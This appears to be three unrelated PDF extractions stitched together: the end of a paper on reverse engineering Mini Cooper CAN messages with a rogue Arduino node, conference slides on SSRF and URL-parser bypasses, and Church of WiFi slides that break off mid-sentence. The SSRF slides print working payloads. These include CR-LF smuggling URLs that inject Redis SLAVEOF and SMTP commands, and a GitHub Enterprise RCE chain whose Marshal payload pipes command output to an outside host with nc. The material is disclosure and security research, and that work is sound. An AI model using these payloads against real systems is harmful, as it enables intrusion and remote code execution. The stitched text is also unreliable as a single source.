clock. Next we needed to mount the Mini Cooper gauges using brackets, screws, and bolts (Figure 2-5). Figure 2-5: Mounting Mini Cooper instrument cluster to platform board Since BMW does not publicly disclose CAN message IDs for their various ECU devices on passenger vehicles, we apply our reverse engineering methodology described in section 2. Using this methodology, we now have a pretty solid idea of what message IDs and byte offsets are needed to control the display of the speedometer and tachometer on the instrument cluster. The next step is building a small CAN network and a CAN node capable of introducing messages onto the data bus. The first thing we need to do is build the CAN bus infrastructure. In adhering to the CAN standard, we used about 18 inches of 18 gauge twisted pair wire for the actual CAN bus backbone (Figure 2-6). Figure 2-6: 18 gauge twisted pair wire being used for the CAN bus backbone We also terminate both ends of the twisted pair wire by using 120 Ω terminating resistors at each end to reduce reflection (Figure 2- 7). Figure 2-7: Wire terminated with 120 ohm resistors on both ends We now have our CAN bus backbone built and ready to add nodes onto it. Next we attach the Mini Cooper instrument cluster (which includes both the speedometer and tachometer) onto the network via its CAN data lines. When attempting to use or modify hardware that is either unfamiliar or unknown, the first thing that should be done is referencing the electrical schematics, if they are available. In this case we were able to utilize the Mini Cooper electrical schematics from Mitchell1 (www.prodemand.com). Mitchell1 maintains an enormous repository full of vehicle service manuals, diagnostic codes, and wiring schematics for a majority of passenger vehicles. Leveraging this information was necessary for identifying the wires coming off of the instrument cluster units (Figure 2-8). Figure 2-8: Wires coming off of the Mini Cooper instrument cluster Looking through the 2003 Mini Cooper S service manual, we come across the Instrument Cluster Circuit (IKE). In looking at the electrical wiring schematics, we are interested in identifying wires responsible for 3 things; power, ground, and CAN data. The CAN data wires are obviously distinguishable as being the only twisted pair wires within the mesh of wires. Wires Associated with Power  Wire 1 BRN/BLK = Ground  Wire 2 VIO/BLK = 12V power source (HOT IN ACCY, RUN AND START)  Wire 3 BLK/VIO = 12V power source (HOT IN START)  Wire 15 RED/YEL = 12V power source (HOT AT ALL TIMES)  Wire 16 GRN/BLU = 12V power source (HOT IN ON OR START) CAN Data Lines  Wire 13 YEL/BRN = CAN-L  Wire 26 YEL/BLK = CAN-H Once these wires were each identified, we striped the wires, spliced, and soldered them together accordingly. We striped the ends off of the 12V DC power source and tied wires 2, 3, 15, and 16 of the instrument cluster unit to the positive lead of our power source (Figure 2-9). We also tied Wire 1 (ground) to the negative lead on our power supply. Next we connect the CAN high and low data lines to the network. We splice wires 13 and 26 from our instrument cluster into the CAN bus. Notice in Figures 2-9, CAN low is the blue wire of the CAN bus and CAN high is the tan. After capping our wire leads to both power source and splicing CAN node entry points, we can plug in the power source to test that the instrument cluster powers on and works properly. If all goes correctly a chime can be heard as soon as power is applied. Figure 2-9: Splicing instrument cluster wires together with CAN bus and 12V power source Now that the instrument cluster has successfully been connected to the CAN bus, we can configure the node that will be responsible for transmitting data to the instrument cluster unit. This node will be acting as a rogue device that an attacker could use to interact with components on the CAN bus in nefarious ways. We will be using an Arduino Uno Rev 3 and a CAN-Shield to achieve this (Figure 2-10). Figure 2-10: Arduino Uno and CAN shield simulating a rogue CAN device To interface the CAN shield with the data bus, we will be splicing the 18 gauge twisted pair wire from the CAN bus and soldering CAN-H and CAN-L wires coming into the pins on the CAN shield as shown in Figures 2-11. Figure 2-11: CAN shield used to connect to CAN bus The Arduino will be powered from the same 12V DC power source that powers the instrument cluster. The Arduino Uno features a built in voltage regulator at the power port. Considering the safety benefit of the voltage regulator, applying 12V of power to the Arduino was not an issue as the Arduino Uno specifications explicitly state that the microcontroller can handle a recommended 7 - 12 volts (Figure 2-12). Figure 2-12: 12V power source and Arduino voltage regulator In order for the Arduino to keep track of accurate time, even when the power is disrupted, we will use a real time clock module (RTC). The RTC chip is powered with a small battery in order to retain the current time in the event of power loss. The Arduino will poll the time from the RTC in order to transmit the accurate time to the instrument cluster gauges. For demonstration purposes, we placed the RTC on a bread board separate from the Arduino (Figure 2-13). Figure 2-13: RTC used by Arduino to poll accurate time Everything up to this point should be connected, and all that should be left is to program the microcontroller. Other than the standard Arduino libraries, we will primarily be using the MCP2515 library to communicate with the CAN controller, and SPI library to communicate with the CAN shield using the serial peripheral interface. The MCP2515 library allows us to construct our own CAN Frame objects that can be transmitted over onto the CAN bus. (See http://tucrrc.utulsa.edu/canclock/ for complete listing of source code) We will also be using the Wire.h and RTClib.h libraries to communicate with the RTC module. For purposes of demonstration, the microcontroller was configured to work in two modes of operation that can easily be toggled by using the joystick click button on the CAN-Shield; Clock Mode, and Demo Mode (Figure 2-14). Clock mode obviously polls the time from the RTC to display the current time on the instrument cluster gauges via the CAN bus, and demo mode is used to increment the needles on the gauges arbitrarily to demonstrate the dynamic manipulation of CAN traffic. The final product (CAN Clock) is shown below showing a time of 2:47 p.m. (Figure 2-15). Figure 2-14: Joystick button used to toggle between clock mode and demo mode Figure 2-15: Mini Cooper CAN clock final product 3. DISCUSSION The CAN clock proof of concept demonstrates how easy it could be for an attacker to manipulate ECM components on passenger vehicles. As newer vehicles begin to add more functionality and interconnection options, the attack surface will continue to grow as well. Other research has demonstrated attacks effecting the availability of ECMs on the CAN network. In 2010, researchers at The University of Washington and The University of California, San Diego effectively flooded the CAN network with traffic causing a denial of service (DoS) against all connected components, which rendered much of the car, including the braking system useless [2]. Methods for mitigating spoofed message attacks, and attacks that affect availability of the CAN bus need to be considered when designing and engineering ECUs. To counter the possibility of such attacks, conventional network security concepts, techniques, and devices such as firewalls, and intrusion detection/prevention systems should be considered being applied to CAN. Perhaps some form of a CAN based firewall or anomaly based network intrusion prevention system could be implemented on vehicles that mitigate such attacks from occurring. Although one of the advantages of CAN is for all nodes on the same bus to receive a message, regardless of what device it is intended for, some CAN components should never be allowed to communicate with other CAN components, or at least send certain messages between one another (e.g. infotainment systems to brake controller unit). The notion of a firewall from conventional network security could be applied by using access control lists between various networks, or even ECUs on vehicles. Although it may seem that solving these problems with anomaly based intrusion detection systems could be a trivial method of using existing methods from TCP/IP based anomaly IDSs, it actually would not be as straight forward. Conventional, anomaly based intrusion detection systems are developed and used within a network to detect statistical deviations from prior baselines. However, with the dynamic nature of vehicle networks, there could be numerous instances when otherwise normal activities would violate this baseline due to unexpected physical events, including vehicle collisions, sudden acceleration/deceleration, etc. CAN devices such as ECUs need to have security mechanisms built in that are similarly modeled after modern day computer network security systems such as access control devices, and intrusion detection systems, but not to the extent that they intrude on the reliability of CAN. Finding a compromise between security, reliability, and efficiency of CAN systems are all factors that need to be considered for future research into vehicle network systems. It is well understood that if someone has physical access to a device, all bets are off with regards to security. As such, these vehicle data lines of communication should be considered untrusted and treated as such. Methods of encrypting channels of communication on CAN could be considered, but that would ultimately hinder the speed and reliability advantages provided by CAN. For the time being, automobile consumers have no choice but to rely on physical security of automobiles, and security through obscurity provided by the manufacture proprietary CAN message IDs. 4. CONCLUSION This work described a methodology for reverse engineering proprietary CAN message IDs on passenger vehicles. This methodology is modular enough to be applied to other passenger vehicles with CAN networks. We have demonstrated how to identify message IDs of interest by analyzing CAN data provided by a data log of a 2003 Mini Cooper. We also developed a proof of concept in which we built a CAN network from scratch, and manipulated the Mini Cooper's instrument cluster speedometer and tachometer, turning them into a functional clock. Although we are only manipulating the instrument cluster gauges, there is no reason to believe these methods couldn't be applied to other ECMs on the vehicle, including critical devices such as the ABS braking system, accelerator, lighting system, wireless locks, etc. We have thoroughly demonstrated that security through obscurity fails when the attacker has physical access to the vehicle. Future work will look into the areas of monitoring CANs including possibly introducing the use of customized CAN firewalls and intrusion prevention systems. 4. REFERENCES [1] Bosch, C. A. N. (1991). Specification version 2.0. Published by Robert Bosch GmbH (September 1991). [2] Koscher, K., Czeskis, A., Roesner, F., Patel, S., Kohno, T., Checkoway, S., ... & Savage, S. (2010, May). Experimental security analysis of a modern automobile. In Security and Privacy (SP), 2010 IEEE Symposium on (pp. 447-462). IEEE. [3] Checkoway, S., McCoy, D., Kantor, B., Anderson, D., Shacham, H., Savage, S., ... & Kohno, T. (2011, August). Comprehensive experimental analyses of automotive attack surfaces. In Proceedings of the 20th USENIX conference on Security (pp. 6-6). USENIX Association. [4] Davis, R. I., Burns, A., Bril, R. J., & Lukkien, J. J. (2007). Controller Area Network (CAN) schedulability analysis: Refuted, revisited and revised. Real-Time Systems, 35(3), 239-272.
pdf
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! Orange Tsai Taiwan No.1 About Orange Tsai The most professional red team in Taiwan About Orange Tsai The largest hacker conference in Taiwan founded by chrO.ot About Orange Tsai Speaker - Speaker at several security conferences Black Hat USA, DEFCON, HITCON, WooYun, AVTokyo CTFer - CTFs we won champions / in finalists (as team HITCON) DEFCON, Codegate, Boston Key Party, HITB, Seccon, 0CTF, WCTF Bounty Hunter - Vendors I have found Remote Code Execution Facebook, GitHub, Uber, Apple, Yahoo, Imgur About Orange Tsai Agenda Introduction Make SSRF great again Issues that lead to SSRF-Bypass Issues that lead to protocol smuggling Case studies and Demos Mitigations What is SSRF? Server Side Request Forgery Bypass Firewall, Touch Intranet Compromise Internal services Struts2 Redis Elastic Protocol Smuggling in SSRF Make SSRF more powerful Protocols that are suitable to smuggle HTTP based protocol Elastic, CouchDB, Mongodb, Docker Text-based protocol FTP, SMTP, Redis, Memcached Quick Fun Example http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 httplib requests urllib Quick Fun Example Python is so Hard Quick Fun Example CR-LF Injection on HTTP protocol Smuggling SMTP protocol over HTTP protocol http://127.0.0.1:25/%0D%0AHELO orange.tw%0D%0AMAIL FROM… >> GET / << 421 4.7.0 ubuntu Rejecting open proxy localhost [127.0.0.1] >> HELO orange.tw Connection closed SMTP Hates HTTP Protocol It Seems Unexploitable Gopher Is Good What If There Is No Gopher Support? HTTPS What Won't Be Encrypted in a SSL Handshake? Quick Fun Example https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 | xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange. tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 | xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 | xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 >> ...5./.0.,.=.j.8.2.........0...+127.0.0.1 << 500 5.5.1 Command unrecognized: ...5./.0.,.=.j.8.2..0.+127.0.0.1 >> HELO orange.tw << 250 ubuntu Hello localhost [127.0.0.1], please meet you >> MAIL FROM: <[email protected]> << 250 2.1.0 <[email protected]>... Sender ok Make SSRF Great Again URL Parsing Issues It's all about the inconsistency between URL parser and requester Why validating a URL is hard? 1. Specification in RFC2396, RFC3986 but just SPEC 2. WHATWG defined a contemporary implementation based on RFC but different languages still have their own implementations URL Components(RFC 3986) scheme authority path query fragment foo://example.com:8042/over/there?name=bar#nose URL Components(RFC 3986) foo://example.com:8042/over/there?name=bar#nose (We only care about HTTP HTTPS) (It's complicated) (I don't care) (I don't care) scheme authority (It's complicated) path fragment query Big Picture Libraries/Vulns CR-LF Injection URL Parsing Path Host SNI Port Injection Host Injection Path Injection Python httplib 💀 💀 💀 Python urllib 💀 💀 💀 Python urllib2 💀 💀 Ruby Net::HTTP 💀 💀 💀 Java net.URL 💀 💀 Perl LWP 💀 💀 NodeJS http 💀 💀 PHP http_wrapper 💀 💀 Wget 💀 💀 cURL 💀 💀 Consider the following PHP code $url = 'http://' . $_GET[url]; $parsed = parse_url($url); if ( $parsed[port] == 80 && $parsed[host] == 'google.com') { readfile($url); } else { die('You Shall Not Pass'); } Abusing URL Parsers http://127.0.0.1:11211:80/ Abusing URL Parsers http://127.0.0.1:11211:80/ PHP readfile Perl LWP PHP parse_url Perl URI Abusing URL Parsers RFC3986 authority = [ userinfo "@" ] host [ ":" port ] port = *DIGIT host = IP-literal / IPv4address / reg-name reg-name = *( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "=" Abusing URL Parsers http://google.com#@evil.com/ Abusing URL Parsers http://google.com#@evil.com/ PHP parse_url PHP readfile Abusing URL Parsers Several programing languages suffered from this issue cURL, PHP, Python RFC3968 section 3.2 The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI Abusing URL Parsers How About cURL? http://[email protected]:[email protected]/ Abusing URL Parsers http://[email protected]:[email protected]/ cURL libcurl NodeJS URL Perl URI Go net/url PHP parse_url Ruby addressable Abusing URL Parsers Abusing URL Parsers cURL / libcurl PHP parse_url 💀 Perl URI 💀 Ruby uri Ruby addressable 💀 NodeJS url 💀 Java net.URL Python urlparse Go net/url 💀 Report the bug to cURL team and get a patch quickly Bypass the patch with a space Abusing URL Parsers http://[email protected] @google.com/ Report Again But… "curl doesn't verify that the URL is 100% syntactically correct. It is instead documented to work with URLs and sort of assumes that you pass it correct input" Won't Fix But previous patch still applied on cURL 7.54.0 Consider the following NodeJS code NodeJS Unicode Failure var base = "http://orange.tw/sandbox/"; var path = req.query.path; if (path.indexOf("..") == -1) { http.get(base + path, callback); } NodeJS Unicode Failure http://orange.tw/sandbox/NN/passwd NodeJS Unicode Failure http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd NodeJS Unicode Failure http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd NodeJS Unicode Failure http://orange.tw/sandbox/../passwd / is new ../ (in NodeJS HTTP) (U+FF2E) Full width Latin capital letter N What the ____ NodeJS Unicode Failure HTTP module prevents requests from CR-LF Injection Encode the New-lines as URL encoding http://127.0.0.1:6379/\r\nSLAVEOF orange.tw 6379\r\n $ nc -vvlp 6379 >> GET /%0D%0ASLAVEOF%20orange.tw%206379%0D%0A HTTP/1.1 >> Host: 127.0.0.1:6379 >> Connection: close NodeJS Unicode Failure HTTP module prevents requests from CR-LF Injection Break the protections by Unicode U+FF0D U+FF0A http://127.0.0.1:6379/-*SLAVEOF@orange.tw@6379-* $ nc -vvlp 6379 >> GET / >> SLAVEOF orange.tw 6379 >> HTTP/1.1 >> Host: 127.0.0.1:6379 >> Connection: close GLibc NSS Features In Glibc source code file resolv/ns_name.c#ns_name_pton() /*% * Convert an ascii string into an encoded domain name as per RFC1035. */ int ns_name_pton(const char *src, u_char *dst, size_t dstsiz) GLibc NSS Features RFC1035 - Decimal support in gethostbyname() void main(int argc, char **argv) { char *host = "or\\097nge.tw"; struct in_addr *addr = gethostbyname(host)->h_addr; printf("%s\n", inet_ntoa(*addr)); } …50.116.8.239 GLibc NSS Features RFC1035 - Decimal support in gethostbyname() >>> import socket >>> host = '\\o\\r\\a\\n\\g\\e.t\\w' >>> print host \o\r\a\n\g\e.t\w >>> socket.gethostbyname(host) '50.116.8.239' GLibc NSS Features void main(int argc, char **argv) { struct addrinfo *res; getaddrinfo("127.0.0.1 foo", NULL, NULL, &res); struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr; printf("%s\n", inet_ntoa(ipv4->sin_addr)); } …127.0.0.1 Linux getaddrinfo() strip trailing rubbish followed by whitespaces GLibc NSS Features Linux getaddrinfo() strip trailing rubbish followed by whitespaces Lots of implementations relied on getaddrinfo() >>> import socket >>> socket.gethostbyname("127.0.0.1\r\nfoo") '127.0.0.1' GLibc NSS Features Exploit Glibc NSS features on URL Parsing http://127.0.0.1\tfoo.google.com http://127.0.0.1%09foo.google.com http://127.0.0.1%2509foo.google.com GLibc NSS Features Exploit Glibc NSS features on URL Parsing Why this works? Some library implementations decode the URL twice… http://127.0.0.1%2509foo.google.com Exploit Glibc NSS features on Protocol Smuggling HTTP protocol 1.1 required a host header $ curl -vvv http://I-am-a-very-very-weird-domain.com >> GET / HTTP/1.1 >> Host: I-am-a-very-very-weird-domain.com >> User-Agent: curl/7.53.1 >> Accept: */* GLibc NSS Features GLibc NSS Features Exploit Glibc NSS features on Protocol Smuggling HTTP protocol 1.1 required a host header http://127.0.0.1\r\nSLAVEOF orange.tw 6379\r\n:6379/ $ nc -vvlp 6379 >> GET / HTTP/1.1 >> Host: 127.0.0.1 >> SLAVEOF orange.tw 6379 >> :6379 >> Connection: close GLibc NSS Features https://127.0.0.1\r\nSET foo 0 60 5\r\n:443/ $ nc -vvlp 443 >> ..=5</.Aih9876.'. #...$...?...).%..g@?>3210...EDCB.. >> .....5'%"127.0.0.1 >> SET foo 0 60 5 Exploit Glibc NSS features on Protocol Smuggling SNI Injection - Embed hostname in SSL Client Hello Simply replace HTTP with HTTPS GLibc NSS Features Break the Patch of Python CVE-2016-5699 CR-LF Injection in HTTPConnection.putheader() Space followed by CR-LF? _is_illegal_header_value = \ re.compile(rb'\n(?![ \t])|\r(?![ \t\n])').search … if _is_illegal_header_value(values[i]): raise ValueError('Invalid header value %r' % (values[i],)) Break the Patch of Python CVE-2016-5699 CR-LF Injection in HTTPConnection.putheader() Space followed by CR-LF? Bypass with a leading space >>> import urllib >>> url = 'http://0\r\n SLAVEOF orange.tw 6379\r\n :80' >>> urllib.urlopen(url) GLibc NSS Features Break the Patch of Python CVE-2016-5699 Exploit with a leading space Thanks to Redis and Memcached GLibc NSS Features http://0\r\n SLAVEOF orange.tw 6379\r\n :6379/ >> GET / HTTP/1.0 << -ERR wrong number of arguments for 'get' command >> Host: 0 << -ERR unknown command 'Host:' >> SLAVEOF orange.tw 6379 << +OK Already connected to specified master Abusing IDNA Standard The problem relied on URL parser and URL requester use different IDNA standard IDNA2003 UTS46 IDNA2008 ⓖⓞⓞⓖⓛⓔ.com google.com google.com Invalid g\u200Doogle.com google.com google.com xn--google-pf0c.com baß.de bass.de bass.de xn--ba-hia.de Abusing IDNA Standard >> "ß".toLowerCase() "ß" >> "ß".toUpperCase() "SS" >> ["ss", "SS"].indexOf("ß") false >> location.href = "http://wordpreß.com" The problem relied on URL parser and URL requester use different IDNA standard Cat Studies Abusing URL Parsers - Case Study WordPress 1. Paid lots of attentions on SSRF protections 2. We found 3 distinct ways to bypass the protections 3. Bugs have been reported since Feb. 25, 2017 but still unpatched 4. For the Responsible Disclosure Process, I will use MyBB as following case study Abusing URL Parsers - Case Study The main concept is finding different behaviors among URL parser, DNS checker and URL requester URL parser DNS checker URL requester WordPress parse_url() gethostbyname() *cURL vBulletin parse_url() None *cURL MyBB parse_url() gethostbynamel() *cURL * First priority Abusing URL Parsers - Case Study SSRF-Bypass tech #1 Time-of-check to Time-of-use problem 1 $url_components = @parse_url($url); 2 if( 3 !$url_components || 4 empty($url_components['host']) || 5 (!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https'))) || 6 (!empty($url_components['port']) && !in_array($url_components['port'], array(80, 8080, 443))) 7 ) { return false; } 8 9 $addresses = gethostbynamel($url_components['host']); 10 if($addresses) { 11 // check addresses not in disallowed_remote_addresses 12 } 13 14 $ch = curl_init(); 15 curl_setopt($ch, CURLOPT_URL, $url); 16 curl_exec($ch); Abusing URL Parsers - Case Study 1. gethostbyname() and get 1.2.3.4 2. Check 1.2.3.4 not in blacklist 3. Fetch URL by curl_init() and cURL query DNS again! 4. 127.0.0.1 fetched, SSRF! Q: foo.orange.tw A: 1.2.3.4 Q: foo.orange.tw A: 127.0.0.1 http://foo.orange.tw/ Hacker MyBB DNS 1 2 4 3 Abusing URL Parsers - Case Study SSRF-Bypass tech #2 The inconsistency between DNS checker and URL requester There is no IDNA converter in gethostbynamel(), but cURL has 1 $url = 'http://ß.orange.tw/'; // 127.0.0.1 2 3 $host = parse_url($url)[host]; 4 $addresses = gethostbynamel($host); // bool(false) 5 if ($address) { 6 // check if address in white-list 7 } 8 9 $ch = curl_init(); 10 curl_setopt($ch, CURLOPT_URL, $url); 11 curl_exec($ch); Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester Fixed in PHP 7.0.13 …127.0.0.1:11211 fetched $url = 'http://127.0.0.1:11211#@google.com:80/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(80) curl($url); Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester Fixed in cURL 7.54 (The version of libcurl in Ubuntu 17.04 is still 7.52.1) $url = 'http://[email protected]:[email protected]:80/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(80) curl($url); …127.0.0.1:11211 fetched Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester cURL won't fix :) $url = 'http://[email protected] @google.com:11211/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(11211) curl($url); …127.0.0.1:11211 fetched Protocol Smuggling - Case Study GitHub Enterprise Standalone version of GitHub Written in Ruby on Rails and code have been obfuscated Protocol Smuggling - Case Study About Remote Code Execution on GitHub Enterprise Best report in GitHub 3 rd Bug Bounty Anniversary Promotion! Chaining 4 vulnerabilities into RCE Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks What is Webhooks? Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks Fetching URL by gem faraday Blacklisting Host by gem faraday-restrict-ip-addresses Blacklist localhost, 127.0.0.1… ETC Simply bypassed with a zero http://0/ Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks There are several limitations in this SSRF Not allowed 302 redirection Not allowed scheme out of HTTP and HTTPS No CR-LF Injection in faraday Only POST method Protocol Smuggling - Case Study Second bug - SSRF in internal Graphite service GitHub Enterprise uses Graphite to draw charts Graphite is bound on 127.0.0.1:8000 url = request.GET['url'] proto, server, path, query, frag = urlsplit(url) if query: path += '?' + query conn = HTTPConnection(server) conn.request('GET',path) resp = conn.getresponse() SSRF Execution Chain : ( Protocol Smuggling - Case Study Third bug - CR-LF Injection in Graphite Graphite is written in Python The implementation of the second SSRF is httplib.HTTPConnection As I mentioned before, httplib suffers from CR-LF Injection We can smuggle other protocols with URL http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:6379/%0D%0ASET… Protocol Smuggling - Case Study Fourth bug - Unsafe Marshal in Memcached gem GitHub Enterprise uses Memcached gem as the cache client All Ruby objects stored in cache will be Marshal-ed Protocol Smuggling - Case Study http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data Protocol Smuggling - Case Study http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data Protocol Smuggling - Case Study http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data $12,500 Demo GitHub Enterprise < 2.8.7 Remote Code Execution https://youtu.be/GoO7_lCOfic Mitigations Application layer Use the only IP and hostname, do not reuse the input URL Network layer Using Firewall or NetWork Policy to block Intranet traffics Projects SafeCurl by @fin1te Advocate by @JordanMilne Summary New Attack Surface on SSRF-Bypass URL Parsing Issues Abusing IDNA Standard New Attack Vector on Protocol Smuggling Linux Glibc NSS Features NodeJS Unicode Failure Case Studies Further works URL parser issues in OAuth URL parser issues in modern browsers URL parser issues in Proxy server … Acknowledgements 1. Invalid URL parsing with '#' by @bagder 2. URL Interop by @bagder 3. Shibuya.XSS #8 by @mala 4. SSRF Bible by @Wallarm 5. Special Thanks Allen Own Birdman Chiu Henry Huang Cat Acknowledgements https://twitter.com/harapeko_lady/status/743463485548355584 https://tuswallpapersgratis.com/gato-trabajando/ https://carpet.vidalondon.net/cat-in-carpet/ Some Meme Websites… Thanks [email protected] @orange_8361
pdf
Church of WiFi Wireless Extravaganza Today’s Brethren: Thorn theprez98 Renderman Who Are The CoWF? Q: Pirates? Ninjas? Pirates with stealthy Ninja skills? Ninjas who say "Arrgh"? A #1: A “Church” where they do “WiFi Voodoo” Who Are The CoWF? A #2: A bunch of Monkeys who wear Pope hats The Problem… The Problem… • No skillz! • “You know, like nunchuck skills, bowhunting skills, computer hacking skills... Girls only want boyfriends who have great skills.” The Idea… Learn + Touch = DO! “I care about demonstrating and inciting 'hacker attitude' toward my fellow attendees...” -c0nverge The Concept… • Things we liked: Hands-on at Lockpick Village & LosT’s informal breakout • Provide an area for wireless tutorials, mini- presentations and breakout sessions • Act as an introduction to the various wireless contests Learn + Touch = DO! The Solution: Skybox 209 Wireless Village: Breakouts • Breakout sessions are for any RF/Network subject – PSP Wireless Hacking (Squidly1) – RF Direction Finding (Renderman) – RFID (Thorn) – Even more! (WEP Cracking, WPA Cracking…) Learn + Touch = DO! Learn + Touch = DO! Provide an open environment for learning of wireless network technologies – Contests and tutorials: all skill levels from beginner to expert – Breakout sessions: to introduce people to the wireless contests – Mini-presentations and demonstrations: provide an venue for wireless speakers to follow-up their presentations with hands-on demos, classes, etc. Skybox 209 DC Wireless Contests • Integrated to the Village • Allows people to learn a skill at the Village and then compete. Learn + Touch = DO! WPA-PSK ”Rainbow Tables” • Same idea as LM or other “Rainbow” tables: Time vs. Computing power tradeoff • 2006: 172,000 word dictionary x 1,000 most common SSIDs = 7 gig tables WPA-PSK ”Rainbow Tables” This year: 1,000,000 password dictionary x 1,000 most common SSIDs = 35GB YIKES! CoWF “Distro” • USB-bootable full-Linux distro on a 100GB+ 3.5” HD (BackTrack 2 based) • Boot off any laptop/PC, and run wireless security checks at will • CoWPAtty integrated with the recently released CoWF WPA/WPA2 Rainbow tables • 100GB+ leaves plenty of room for other Rainbow tables and other tools CoWF “Distro” unCONventional LAN • Linksys WRT54G Router version 2.2, running OpenWRT • Linksys NSLU2 - Network Storage Link for USB 2.0 Disk Drives, running Unslung • Maxtor OneTouch II USB hard drive • Pelican Peli-Case • Miscellaneous cables unCONventional LAN unCONventional LAN Project Mutton • Based on Linksys WPG12 • Unlike other Linksys products it’s a PC-based SBC that boots from a CF card • Built-in VGA • Comes with a IR mouse/laser pointer. • Keyboard PS2 interface on the PCB, but no connector • New Linux distro and some scripts*, instant “Wall of Sheep/Wall of Shame in a box” *Thanks, Irongeek! Project Mutton Project Mutton Stealth File Server • Linksys WGA54G Game Adapter • Linksys NSLU2 - Network Storage Link for USB 2.0 Disk Drives, running Unslung • Maxtor OneTouch III USB hard drive • Battery pack • Fits in a camera bag • David vs. the RIAA and MPAA’s Goliath? Stealth File Server Rolling Thunder • Linksys WET54G Wireless Bridge • Linksys 